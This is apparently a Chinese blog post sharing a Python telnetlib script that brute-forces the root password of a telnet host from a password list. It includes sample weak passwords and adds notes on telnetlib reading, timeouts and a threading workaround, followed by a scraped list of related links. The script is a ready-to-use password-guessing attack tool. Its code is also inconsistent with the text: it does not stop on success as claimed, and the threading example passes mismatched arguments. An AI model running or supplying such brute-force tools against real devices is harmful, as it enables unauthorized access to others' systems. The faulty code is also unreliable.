最近在学习Python网络相关编程,这个代码实现了Telnet自动连接检测root用户密码,密码取自密码本,一个一个检测密码是否匹配,直到匹配成功,屏幕输出停止。

Python内置了telnetlib模块,支持telnet远程操作,只要直接import就可以。

代码如下:

# encoding=utf-8
import telnetlib
import time
import sys
import os

def do_telnet(Host, Port, username, password, finish):
    # 连接Telnet服务器
    tn = telnetlib.Telnet(Host, Port, timeout=1)
    tn.set_debuglevel(3)

    # 输入登录用户名
    tn.read_until("login: ")
    tn.write(str(username) + '\n')

    # 输入登录密码
    tn.read_until("Password: ")
    tn.write(str(password) + '\n')

    # 判断密码错误提示,如果没有这个提示说明登录成功
    if tn.read_until(finish):
        print("****** login incorrect!\n")
    tn.close()

if __name__ == '__main__':
    Host = input("IP:")  # Telnet服务器IP
    Port = input("Port:")  # Telnet服务器端口
    username = 'root'  # 登录用户名
    finish = 'incorrect'  # 密码错误提示
    pw_file = open('.\\pw.txt', 'r+')  # 密码文件
    Index = 0
    print(time.asctime(), ":   ****** begin", "\n")
    while True:
        password = pw_file.readline()
        Index += 1
        print(Index, time.asctime(), ":   ****** try", "", username, ":", password, "")
        if len(password) == 0:
            break
        do_telnet(Host, Port, username, password, finish)
    pw_file.close()

密码本pw.txt,内容例如:

root
admin
12345
888888 

输出如下:

 
 

注:我这边测试的目标主机是嵌入式linux系统,用户名是root,密码错误返回的是incorrect提示。你可能要根据目标系统不同修改用户名和错误提示。

telnetlib提供好多方法可以得到数据,象read_until()是当结果中存在想要的信息时返回,read_some()是只要有结果就返回,read_very_lazy()是返回缓冲区中的数据。经过看代码,telnetlib采用缓冲的处理方式,因此数据并不是一下子就返回的,而是先放在了缓冲区中。许多的读取处理都是围绕着这个缓冲区来的。而缓冲区的信息何时到达就不说不清楚了,也许很快,也许很慢,也许分别到达,也许一下子就收到了。因此,对于数据不一定到齐的这种情况,就采用了象read_until()来判断缓冲区中的数据是否有想要的内容,如果没有就等待,除非到达了超时时间。再有可以使用expect方法,与read_until差不多,但是它可以支持正则表达式,功能要强大得多。

在网上还有一个叫 Pexpect 它好象功能强大,它支持多种协议,它的主页就建议使用 Pexpect 来下载它的文档。不过因为网络不太好就没有下来,不知道支不支持 Telnet 协议。

上面的程序再配以 ftplib 的功能就可以做一个远程更新的维护程序。只不过如何判断后台返回的信息,我没有找到好的方法,是使用read_lazy()还是read_eager()呢?还是什么别的方法。最主要的问题是,返回的数据不一定完整。好象没有提供一个read_line()的方法。


其中port和timeout是可选的参数,而timeout的只是在初始化socket连接时起作用,而一旦连接成功后如果出现等待那就不会起作用了,比如使用read_until方式获取内容时返回的内容与指定的内容没有吻合,那么就会造成提示等待的情况,这时timeout是不会起作用的,而这个socket连接会一直保持着,永生不死。

那么如何解决这个问题呢,其实还有一种比较原始的方法,就是使用sleep方法来代替read_until方法,这样就不会出现种情况,因为到点就会自己输入,最多也就是最后得不到想要的结果,但是这个方式很不稳定,兼容性也不好;另一种方法是使用线程来启动这个函数,然后对子线程进行超时设置,这样就可以达到间接控制这个telnet连接的目的了。

import threading  

th1 = threading.Thread(target=do_telnet, args=(host.encode('utf-8'), user.encode('utf-8'), passwd.encode('utf-8'), finish.encode('utf-8'), commands))
th1.start()
th1.join(20)  ##20秒超时时间 

遇到的问题:

传递给Telnet方法的字符串都会被解一次码,所以如果你传递过去需要write的字符串是已经解码的unicode的话,那么就会报错的,所以在传递发送的字符串之前还是先编成utf-8为妥,用ascii编码也可以。

Python实现Telnet自动连接检测密码的更多相关文章

  1. 利用VBS脚本实现Telnet自动连接

    把以下代码保存为*.vbs文件,替换IP.用户名.密码. Dim objShell Set objShell = CreateObject("Wscript.Shell") obj ...

  2. openvpn记住用户名和密码,自动连接

    1, 打开openvpn安装目录 2, 在config目录中, 找到VPN服务器的配置文件, 我的是config.ovpn,将 auth-user-pass (若已经存在)改为 auth-user-p ...

  3. 锐捷网络自动连接python脚本

    1 实现锐捷网络的连接,当断开后自动重连 import os import sys import time ip = 'www.baidu.com' print('开始ping百度') backinf ...

  4. Python 2.7_初试连接Mysql查询数据导出到excel_20161216

    由于每天到公司都需要先执行一遍检测操作,观察数据是否导入完整,今天想到能否自动连接Mysql执行SQL并导出数据,每天到公司直接查看excel文件即可 时间紧,代码初次试验,边摸索边学习吧. xlsx ...

  5. python脚本实现集群检测和管理

    python脚本实现集群检测和管理 场景是这样的:一个生产机房,会有很多的测试机器和生产机器(也就是30台左右吧),由于管理较为混乱导致了哪台机器有人用.哪台机器没人用都不清楚,从而产生了一个想法-- ...

  6. 【Linux远程管理】Telnet远程连接管理

    Telnet,命令行界面下的远程管理工具,因为其历史非常悠久,几乎所有的操作系统都有该工具, 但是,Telnet在传输数据是是通过明文传输的,没有加密,所以现在几乎不会使用Telnet进行管理了. ( ...

  7. 如何在Windows系统上利用Telnet协议连接Linux服务器

    Telnet协议是Internet远程登录服务的标准协议,它为用户提供了在本地计算机上完成远程主机工作的能力.很多终端使用者都习惯在计算机上利用Telnet会话来远程控制服务器.这里小编就分两步为大家 ...

  8. Python实现telnet命令测试防火墙

    Python实现telnet命令测试防火墙 telnet主要用于测试主机端口是否开通 ping主要是用来测试网络是否畅通和主机是否正在使用 使用Python实现Telnet测试主机端口是否开通的功能. ...

  9. 【Telnet】使用Telnet协议连接到远程Shell执行脚本

    介绍 本文介绍如何通过Telnet协议连接到远程Shell,执行脚本,并获取执行结果: 相关文章: <[Jsch]使用SSH协议连接到远程Shell执行脚本>http://www.cnbl ...

随机推荐

  1. unity C#更改系统默认鼠标指针

    最近项目需要替换鼠标的默认图标,实现的效果是初始状态为一种图标,点击鼠标左键要换成另一种图标,按网上通用的方法做了以后,隐藏鼠标指针,在指针的位置画一个图片就可以了,但不知道怎么回事,这种方法画的图标 ...

  2. PS 滤镜—— 径向模糊

    这里给出灰度图像的模糊算法,彩色图像只要分别对三个通道做模糊即可. %%%  radiation blur %%%   clc; clear all; close all; I=imread('4.j ...

  3. 总结:如何驱动DS18B20温度传感器

    DS18B20时序分析: 以下是STM32的驱动代码: #include "bsp_ds18b20.h" static void DS18B20_GPIO_Config(void) ...

  4. JVM学习--(八)java堆分析

    上一节介绍了针对JVM的监控工具,包括JPS可以查看当前所有的java进程,jstack查看线程栈可以帮助你分析是否有死锁等情况,jmap可以导出java堆文件在MAT工具上进行分析等等.这些工具都非 ...

  5. Emmet之html语法

    一.简写语法 Emmet 用和 CSS 选择器相似的语法来描述元素的嵌套层级关系和属性,实现 HTML/XML/CSS 等代码的智能自动补全. 其通过文件名后缀识别文件类型,从而使用对应的自动补全语法 ...

  6. 接口文档神器之apidoc

    //@desn:apidoc linux环境  windows环境使用 //@desn:码字不宜,转载请注明出处 //@author:张慧源  <turing_zhy@163.com> / ...

  7. Day6_time模块

    TIME模块: print(time.time()) #指的是从1970年到现在的秒数 print(time.strftime('%Y-%m-%d %X'))  #指定特定的格式输出时间 print( ...

  8. Java错误和异常

    Java 异常结构图 在 Java 中,所有的异常都有一个共同的祖先 Throwable(可抛出).Throwable 指定代码中可用异常传播机制通过 Java 应用程序传输的任何问题的共性.  Th ...

  9. Android Studio使用手记

    1.官方的Tip and Tricks:http://developer.android.com/intl/zh-cn/sdk/installing/studio-tips.html 2.项目的目录树 ...

  10. 设置firefox每次访问网页时检查所存网页的较新版本

    我们做技术,经常在写页面的时候需要多次刷新测试,可是浏览器都有自己的缓存机制,一般CSS和图片都会被缓存在本地,这样我们修改 的CSS就看不到效果了,每次都去清空缓存,再刷新看效果,这样操作太麻烦了. ...